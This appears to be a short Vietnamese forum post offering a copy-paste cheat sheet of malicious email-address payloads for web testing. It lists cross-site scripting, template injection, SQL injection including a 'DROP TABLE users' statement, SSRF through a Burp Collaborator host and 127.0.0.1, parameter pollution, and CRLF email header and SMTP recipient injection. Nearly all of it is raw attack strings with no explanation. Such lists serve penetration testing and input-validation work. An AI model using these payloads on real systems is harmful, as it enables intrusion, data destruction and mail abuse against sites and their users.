Chép lại cho các ông copy nhé, nhất các ông :v XSS test+(alert(0))@example.comtest@example(alert(0)).com“alert(0)”@example.com Template injection “<%=7*7%>”@example.comtest+(${{7*7}})@example.com SQLi “‘OR1=1–‘”@example.com“mail’);DROP TABLE users;–“@example.com SSRF john.doe@abc123.burpcollaborator.netjohn.doe@[127.0.0.1] Parameter pollution victim&email=attacker@example.com (Email) Header injection “%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com“recicpient@test.com>\r\nRCPT TO:<victim+”@test.com